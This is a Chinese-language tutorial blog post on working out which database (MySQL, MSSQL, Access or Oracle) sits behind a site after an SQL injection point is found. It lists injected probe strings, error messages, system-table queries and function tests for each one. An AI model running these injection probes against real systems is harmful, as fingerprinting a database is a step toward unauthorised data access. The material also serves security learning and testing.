SQL注入之判断数据库类型(原创)

释放双眼,带上耳机,听听看~!
在发现存在SQL注入后,就得首先判断是哪一种数据库。本文就分别总结了MySQL、MSSQL、Access、Oracle数据库的判断方法,如果有什么遗漏或者错误的地方,请联系我更正。

在发现存在SQL注入后,就得首先判断是哪一种数据库。网上虽然也有如何判断数据库类型的相关文章,但是每一篇单独来讲都不全面。于是本文就分别总结了MySQL、MSSQL、Access、Oracle数据库的判断方法,如果有什么遗漏或者错误的地方,请联系我更正(首次投稿,大佬轻喷)。

判断MySQL数据库 

1. 通过报错信息

you have an error in your SQL syntax,check the manual that corrsponds to your mysql server version for the tifht syntax to use near ” at line x

2. 通过连接符判断

‘1’+’1′ = ’11’  (mssql也支持,需要用第二句)

concat(‘1′,’1′) = ’11’

‘adm’ ‘in’ = ‘admin’(空格就等同于+)

3. 通过特有数据表判断

and (select count(*) from information_schema.TABLES)>0

4. 通过length和char函数判断

同时支持length()和char()。len应该也可以。
and len('a')=1 (返回正常,MySQL或mssql)

5. 通过BENCHMARK函数判断

select BENCHMARK(100000,MD5(‘ADMIN’))

6. 通过@@version和version()判断

同时支持@@version和version(),如果version()报错就是mssql。

7. 通过注释符/*判断

如果/**/返回错误,说明不是MySQL。

判断MSSQL数据库

1. 通过报错信息

Msg 170,level 15, State 1,Line 1

Line 1:Incorrect syntax near ‘foo

Msg 105,level 15,state 1,Line 1

Unclose quotation mark before the character string ‘foo

或者:

Microsoft ODBC Database Engine 错误

2. 通过连接符判断

'1'+'1' = '11' (MySql也支持)

3. 通过特有数据表判断

and (select count(*) from sysobjects)>0 (返回正常)


and (select count(*) from msysobjects)>0  (返回错误)

4. 通过默认变量SERVERNAME判断

select @@SERVERNAMW


?id=0/@@SERVERNAME (可能会触发错误报错)

5. 通过len函数判断

and len(‘a’)=1

返回正常,可能是mssql,mysql,db2.

6. 通过@@version和version()判断

@@version不报错,version()报错。

7. 通过substring函数判断

substring(‘abc’,1,1)=a

返回正常,可能是mssql。Oracle只能用substr。

8. 通过注释符–判断

使用--返回正常,说明是mssql或者oracle。

;--     (返回正常,mssql; 错误,基本就是Access)

9. 通过sysobjects判断

判断Access数据库

1. 通过报错信息

Microsoft JET Database Engine错误 '80040e14'

2. 通过特有数据表判断

and (select count(*) from msysobjects)>0

具体看上面MSSQL的图。

3. 通过len和chr函数判断

同时支持len()和chr(),且不支持length()和char()

4. 通过注释符;–判断

使用;--,返回错误,基本可以肯定是Access。

判断Oracle数据库

1. 通过报错信息判断

ORA-01756:quoted string not properly terminated

ORA-00933:SQLcommand not properly ended

2. 通过连接符判断

‘1’||’1’=’11’

concat(‘1′,’1′)=’11’

3. 通过特有数据表判断

and (select count(*) from sys.user_tables)>0

4. 通过length函数判断

可以使用length,不能使用len.


len('a')=1  (报错)

5. 通过substr函数判断

只能使用substr,不能用substring。

其它数据库

可根据使用相应数据库的注入语句一个个测试。如:Postgre的pg_sleep(5), sqlite的sqlite_version()等。

参考文章:

https://blog.51cto.com/baiwuya2009/1946358?_adFA0.350332429510239

https://blog.dyboy.cn/websecurity/149.html

http://www.51testing.com/html/10/171610-78245.html

https://blog.csdn.net/Wu000999/article/details/88987253

https://www.cnblogs.com/Fluorescence-tjy/p/10400588.html

http://ggy.816ym.com/2020/04/01/%E4%B8%8D%E5%90%8C%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E6%B3%A8%E5%85%A5%E6%96%B9%E6%B3%95(Access%E3%80%81SQLServer)/

 

WEB安全

HTTP基础

2020-5-28 16:02:00

WEB安全

Vulnhub练习-Tr0ll 1

2020-5-28 16:12:38

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
有新私信 私信列表
搜索